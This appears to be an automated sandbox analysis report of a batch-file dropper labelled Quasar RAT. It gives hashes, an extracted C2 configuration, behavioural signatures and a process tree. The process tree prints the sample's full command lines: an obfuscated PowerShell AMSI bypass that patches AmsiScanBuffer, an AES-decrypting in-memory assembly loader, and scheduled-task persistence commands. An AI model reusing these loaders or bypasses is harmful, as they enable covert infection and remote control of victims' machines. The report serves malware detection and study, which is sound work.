Analysis

  • max time kernel
    300s
  • max time network
    280s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-05-2024 13:42

General

  • Target

    New1.bat

  • Size

    1002KB

  • MD5

    f6d5bfaee8a55ff72c7b453fda066d62

  • SHA1

    7d737d53013990e5d05076b7206e43eb4793fc7f

  • SHA256

    3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

  • SHA512

    e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

  • SSDEEP

    12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

C2

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes
  • encryption_key

    zK8u0rpHf4TJzGf65Flt

  • install_name

    Win11.exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 11 Boot

  • subdirectory

    Win11

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 63 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:380
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{0e1da310-72fa-4b13-9c95-5b4f242d4307}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2260
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:676
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:960
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:692
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1032
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1112
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1136
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1148
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2928
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XjgVNLkeRmLo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$CosmsYnLrQMpAY,[Parameter(Position=1)][Type]$jmeWBPukYs)$rQqlWETHKRw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+'f'+''+'l'+''+'e'+''+'c'+'t'+[Char](101)+''+'d'+''+'D'+''+'e'+''+'l'+''+'e'+'g'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'at'+[Char](101)+'T'+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+'s'+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+','+'A'+[Char](110)+'s'+'i'+'Clas'+[Char](115)+''+[Char](44)+'A'+[Char](117)+'t'+'o'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$rQqlWETHKRw.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+','+''+'P'+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$CosmsYnLrQMpAY).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+'i'+'m'+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$rQqlWETHKRw.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+'ke','P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+'S'+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+'l'+''+'o'+'t'+[Char](44)+''+'V'+'irt'+[Char](117)+'a'+[Char](108)+'',$jmeWBPukYs,$CosmsYnLrQMpAY).SetImplementationFlags(''+[Char](82)+'un'+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+''+[Char](100)+'');Write-Output $rQqlWETHKRw.CreateType();}$QuYNtqEAzywIz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+'.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+'i'+''+'n'+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+'a'+'ti'+[Char](118)+''+[Char](101)+'M'+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$kZuumHQOTKoVqg=$QuYNtqEAzywIz.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+'o'+''+'c'+'Add'+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'ubli'+'c'+','+'S'+''+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xUECQvZjGCJwRQQZyQZ=XjgVNLkeRmLo @([String])([IntPtr]);$dQsqpGDmAHzFSGekPHhfQo=XjgVNLkeRmLo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jqyiLkwrXJh=$QuYNtqEAzywIz.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+'l')));$MeodOqwYOfAlWb=$kZuumHQOTKoVqg.Invoke($Null,@([Object]$jqyiLkwrXJh,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+'A')));$gbwjHpKYXxOqjiySi=$kZuumHQOTKoVqg.Invoke($Null,@([Object]$jqyiLkwrXJh,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$hnjJIgK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MeodOqwYOfAlWb,$xUECQvZjGCJwRQQZyQZ).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+'dl'+'l'+'');$oiewsyObALEdRRizf=$kZuumHQOTKoVqg.Invoke($Null,@([Object]$hnjJIgK,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+'Scan'+'B'+'uf'+[Char](102)+''+[Char](101)+'r')));$UYTCtGJWhO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gbwjHpKYXxOqjiySi,$dQsqpGDmAHzFSGekPHhfQo).Invoke($oiewsyObALEdRRizf,[uint32]8,4,[ref]$UYTCtGJWhO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$oiewsyObALEdRRizf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gbwjHpKYXxOqjiySi,$dQsqpGDmAHzFSGekPHhfQo).Invoke($oiewsyObALEdRRizf,[uint32]8,0x20,[ref]$UYTCtGJWhO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+'s'+'t'+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:2264
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Drops file in System32 directory
                      PID:1252
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1264
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1324
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1368
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1420
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2656
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1484
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1540
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1556
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1652
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1700
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1728
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1804
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1820
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1940
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1948
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1956
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1052
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                          PID:1720
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2112
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2228
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2308
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2456
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2464
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                    1⤵
                                                                      PID:2672
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                      1⤵
                                                                      • Drops file in System32 directory
                                                                      PID:2708
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2788
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2796
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2880
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2888
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:2224
                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                1⤵
                                                                                  PID:2960
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                  1⤵
                                                                                    PID:3456
                                                                                  • C:\Windows\Explorer.EXE
                                                                                    C:\Windows\Explorer.EXE
                                                                                    1⤵
                                                                                    • Suspicious use of UnmapMainImage
                                                                                    PID:3532
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"
                                                                                      2⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:4200
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                        3⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:4528
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_304_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_304.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                          4⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3956
                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_304.vbs"
                                                                                          4⤵
                                                                                          • Checks computer location settings
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:3744
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_304.bat" "
                                                                                            5⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4596
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              6⤵
                                                                                                PID:4504
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_304.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_304.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                6⤵
                                                                                                • Blocklisted process makes network request
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3308
                                                                                                • C:\Users\Admin\AppData\Local\Temp\New.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\New.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:4856
                                                                                                  • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                                    "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
                                                                                                    8⤵
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:3664
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2584
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3644
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:3860
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                          • Modifies registry class
                                                                                          PID:4012
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:4232
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4780
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                              1⤵
                                                                                                PID:5020
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                1⤵
                                                                                                  PID:4848
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                  1⤵
                                                                                                    PID:1072
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:3164
                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                    1⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:1836
                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:1592
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                      1⤵
                                                                                                        PID:1840
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                        1⤵
                                                                                                          PID:4064
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4704
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies registry class
                                                                                                            PID:876
                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe d98c03a7d19c2edd87597ed43d8bc9e8 wf1A5N63f0u+XsrdAd+fmQ.0.1.0.0.0
                                                                                                            1⤵
                                                                                                              PID:3540
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                2⤵
                                                                                                                  PID:4708
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                1⤵
                                                                                                                  PID:3196
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Enumerates system info in registry
                                                                                                                  PID:3800
                                                                                                                • C:\Windows\sysWOW64\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:4740
                                                                                                                  • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                    C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                    1⤵
                                                                                                                      PID:2448
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                      1⤵
                                                                                                                        PID:3684
                                                                                                                      • C:\Windows\System32\mousocoreworker.exe
                                                                                                                        C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Enumerates system info in registry
